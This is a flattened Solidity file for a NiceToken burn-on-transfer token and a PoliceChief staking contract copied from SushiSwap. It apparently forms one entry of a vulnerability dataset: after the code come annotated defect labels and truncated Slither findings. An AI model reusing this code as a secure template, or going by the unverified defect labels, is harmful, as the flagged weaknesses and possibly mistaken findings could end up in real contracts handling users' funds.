* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/NiceToken.sol
pragma solidity ^0.6.2;
// SushiToken with Governance.
contract NiceToken is ERC20("NiceToken", "NICE"), Ownable {
// START OF NICE SPECIFIC CODE
// NICE is a copy of SUSHI https://etherscan.io/token/0x6b3595068778dd592e39a122f4f5a5cf09c90fe2
// except for the following code, which implements
// a burn percent on each transfer. The burn percent (burnDivisor)
// is set periodically and automatically by the
// contract owner (PoliceChief contract) to make sure
// NICE total supply remains pegged between 69 and 420
// It also fixes the governance move delegate bug
// https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f
using SafeMath for uint256;
// the amount of burn during every transfer, i.e. 100 = 1%, 50 = 2%, 40 = 2.5%
uint256 public burnDivisor = 100;
// keep track of total supply burned (for fun only, serves no purpose)
uint256 public totalSupplyBurned;
function setBurnDivisor(uint256 _burnDivisor) public onlyOwner {
require(_burnDivisor > 3, "NICE::setBurnDivisor: burnDivisor must be bigger than 3"); // 100 / 4 == 25% max burn
burnDivisor = _burnDivisor;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
// calculate burn amount
uint256 burnAmount = amount.div(burnDivisor);
// burn burn amount
burn(msg.sender, burnAmount);
// fix governance delegate bug
_moveDelegates(_delegates[msg.sender], _delegates[recipient], amount.sub(burnAmount));
// transfer amount minus burn amount
return super.transfer(recipient, amount.sub(burnAmount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
// calculate burn amount
uint256 burnAmount = amount.div(burnDivisor);
// burn burn amount
burn(sender, burnAmount);
// fix governance delegate bug
_moveDelegates(_delegates[sender], _delegates[recipient], amount.sub(burnAmount));
// transfer amount minus burn amount
return super.transferFrom(sender, recipient, amount.sub(burnAmount));
}
// we need to implement our own burn function similar to
// sushi's mint function in order to call _moveDelegates
// and to keep track of totalSupplyBurned
function burn(address account, uint256 amount) private {
_burn(account, amount);
// keep track of total supply burned
totalSupplyBurned = totalSupplyBurned.add(amount);
// fix governance delegate bug
_moveDelegates(_delegates[account], address(0), amount);
}
// END OF NICE SPECIFIC CODE
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (PoliceChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SUSHI::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce");
require(now <= expiry, "SUSHI::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "SUSHI::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "SUSHI::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/PoliceChief.sol
pragma solidity ^0.6.2;
/* START OF POLICE CHIEF EXPLANATION
PoliceChief is a copy of SushiSwap's MasterChef
https://etherscan.io/address/0xc2edad668740f1aa35e4d8f227fb8e17dca888cd
with a few differences, all annoted with the comment "NICE EDIT"
to make it easy to verify that it is a copy.
Difference 1:
When the supply goes above 420, NICE burn rates are increased
dramatically and emissions cut, and when supply goes below 69,
emissions are increased dramatically and burn rates cut,
resulting in a token that has a total supply pegged between
69 and 420.
Difference 2:
The dev fund is set to 0.69% (nice) instead of 10%, so
no rug pulls.
Difference 3:
Migrator is removed, so LP staked in PoliceChief are
100% safe and cannot be stolen by the owner. This removes
the need to use a timelock, because the only malicious thing
the PoliceChief owner can do is add sketchy pools, which do
not endanger your LP https://twitter.com/Quantstamp/status/1301280991021993984
Emissions:
The initial sushi per block is set to 5000000000000000 (0.005)
NICE per block, which leads to ~420 NICE very 2 weeks.
END OF POLICE CHIEF EXPLANATION */
// PoliceChief is the master of Sushi. He can make Sushi and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SUSHI is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract PoliceChief is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SUSHIs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
// NICE EDIT: Use NiceToken instead of SushiToken
// The SUSHI TOKEN!
NiceToken public sushi;
// NICE EDIT: Set the dev fund to 0.69% (nice) instead of 10%
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public sushiPerBlock;
// Bonus muliplier for early sushi makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// NICE EDIT: Remove migrator to protect LP tokens
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
// IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
// NICE EDIT: Don't add same pool twice https://twitter.com/Quantstamp/status/1301280989906231296
mapping (address => bool) private poolIsAdded;
// NICE EDIT: If isInflating is true supply has not yet reached 420 and NICE is inflating
bool public isInflating = true;
// NICE EDIT: Divide mint by this number during deflation periods
uint256 public deflationMintDivisor = 100;
// NICE EDIT: Burn this amount per transaction during inflation/deflation periods
// those are defaults and can be safely changed by governance with setDivisors
uint256 public deflationBurnDivisor = 5; // 100 / 5 == 20%
uint256 public inflationBurnDivisor = 100; // 100 / 100 == 1%
// NICE EDIT: Allow governance to adjust mint and burn rates during
// defation periods in case it's too low / too high, not a dangerous function
function setDivisors(uint256 _deflationMintDivisor, uint256 _deflationBurnDivisor, uint256 _inflationBurnDivisor) public onlyOwner {
require(_deflationMintDivisor > 0, "setDivisors: deflationMintDivisor must be bigger than 0");
deflationMintDivisor = _deflationMintDivisor;
deflationBurnDivisor = _deflationBurnDivisor;
inflationBurnDivisor = _inflationBurnDivisor;
// always try setting both numbers to make sure
// they both don't revert
if (isInflating) {
sushi.setBurnDivisor(deflationBurnDivisor);
sushi.setBurnDivisor(inflationBurnDivisor);
}
else {
sushi.setBurnDivisor(inflationBurnDivisor);
sushi.setBurnDivisor(deflationBurnDivisor);
}
}
// NICE EDIT: Call this function every pool update, if total supply
// is above 420, start deflation, if under 69, start inflation
function updateIsInflating() public {
// was inflating, should start deflating
if (isInflating == true && sushi.totalSupply() > 420e18) {
isInflating = false;
sushi.setBurnDivisor(deflationBurnDivisor);
}
// was deflating, should start inflating
else if (isInflating == false && sushi.totalSupply() < 69e18) {
isInflating = true;
sushi.setBurnDivisor(inflationBurnDivisor);
}
}
// NICE EDIT: Read only util function for easier access from website, never called internally
function niceBalancePendingHarvest(address _user) public view returns (uint256) {
uint256 totalPendingNice = 0;
uint256 poolCount = poolInfo.length;
for (uint256 pid = 0; pid < poolCount; ++pid) {
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward = multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
if (!isInflating) {
sushiReward = sushiReward.div(deflationMintDivisor);
}
accSushiPerShare = accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));
}
totalPendingNice = totalPendingNice.add(user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt));
}
return totalPendingNice;
}
// NICE EDIT: Read only util function for easier access from website, never called internally
function niceBalanceStaked(address _user) public view returns (uint256) {
uint256 totalNiceStaked = 0;
uint256 poolCount = poolInfo.length;
for (uint256 pid = 0; pid < poolCount; ++pid) {
UserInfo storage user = userInfo[pid][_user];
if (user.amount == 0) {
continue;
}
PoolInfo storage pool = poolInfo[pid];
uint256 uniswapPairNiceBalance = sushi.balanceOf(address(pool.lpToken));
if (uniswapPairNiceBalance == 0) {
continue;
}
uint256 userPercentOfLpOwned = user.amount.mul(1e12).div(pool.lpToken.totalSupply());
totalNiceStaked = totalNiceStaked.add(uniswapPairNiceBalance.mul(userPercentOfLpOwned).div(1e12));
}
return totalNiceStaked;
}
// NICE EDIT: Read only util function for easier access from website, never called internally
function niceBalanceAll(address _user) external view returns (uint256) {
return sushi.balanceOf(_user).add(niceBalanceStaked(_user)).add(niceBalancePendingHarvest(_user));
}
constructor(
// NICE EDIT: Use NiceToken instead of SushiToken
NiceToken _sushi,
address _devaddr,
uint256 _sushiPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
sushi = _sushi;
devaddr = _devaddr;
sushiPerBlock = _sushiPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
// NICE EDIT: Don't add same pool twice https://twitter.com/Quantstamp/status/1301280989906231296
require(poolIsAdded[address(_lpToken)] == false, 'add: pool already added');
poolIsAdded[address(_lpToken)] = true;
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSushiPerShare: 0
}));
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// NICE EDIT: Remove migrator to protect LP tokens
// Set the migrator contract. Can only be called by the owner.
// function setMigrator(IMigratorChef _migrator) public onlyOwner {
// migrator = _migrator;
// }
// NICE EDIT: Remove migrator to protect LP tokens
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
// function migrate(uint256 _pid) public {
// require(address(migrator) != address(0), "migrate: no migrator");
// PoolInfo storage pool = poolInfo[_pid];
// IERC20 lpToken = pool.lpToken;
// uint256 bal = lpToken.balanceOf(address(this));
// lpToken.safeApprove(address(migrator), bal);
// IERC20 newLpToken = migrator.migrate(lpToken);
// require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
// pool.lpToken = newLpToken;
// }
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending SUSHIs on frontend.
function pendingSushi(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward = multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
// NICE EDIT: During deflation periods, cut the reward by the deflationMintDivisor amount
if (!isInflating) {
sushiReward = sushiReward.div(deflationMintDivisor);
}
accSushiPerShare = accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
// NICE EDIT: If total supply is above 420, start deflation, if under 69, start inflation
updateIsInflating();
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward = multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
// NICE EDIT: During deflation periods, cut the reward by the deflationMintDivisor amount
if (!isInflating) {
sushiReward = sushiReward.div(deflationMintDivisor);
}
// NICE EDIT: Set the dev fund to 0.69% (nice)
sushi.mint(devaddr, sushiReward.div(144)); // 100 / 144 == 0.694444444
// sushi.mint(devaddr, sushiReward.div(10));
sushi.mint(address(this), sushiReward);
pool.accSushiPerShare = pool.accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to PoliceChief for SUSHI allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);
safeSushiTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from PoliceChief.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);
safeSushiTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs.
function safeSushiTransfer(address _to, uint256 _amount) internal {
uint256 sushiBal = sushi.balanceOf(address(this));
if (_amount > sushiBal) {
sushi.transfer(_to, sushiBal);
} else {
sushi.transfer(_to, _amount);
}
}
function dev(address _devaddr) public {
// NICE EDIT: Minting to 0 address reverts and breaks harvesting
require(_devaddr != address(0), "dev: don't set to 0 address");
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1727"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["1706", "1766", "1781", "1795", "1737", "1707", "1767", "1782", "1796"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1711", "1761", "1747", "1744", "1653", "1587", "1392"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["1119"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1653", "1602", "1580", "1337"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["765", "792", "780"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1394", "1327", "1398", "1369", "1377", "1337"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1289"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [372, 373, 374, 375]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [273]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1411]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1647]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1566]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1571]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1418]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [1572]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [1567]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [570, 571, 572]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [293, 294, 295, 296, 297, 298, 299]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [344, 345, 346]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [577, 578, 579]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [592, 593, 594, 591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [673, 674, 675]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [432, 433, 434, 431]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [680, 681, 682]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [618, 619, 620]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [420, 421, 422, 423, 424, 425, 426, 427, 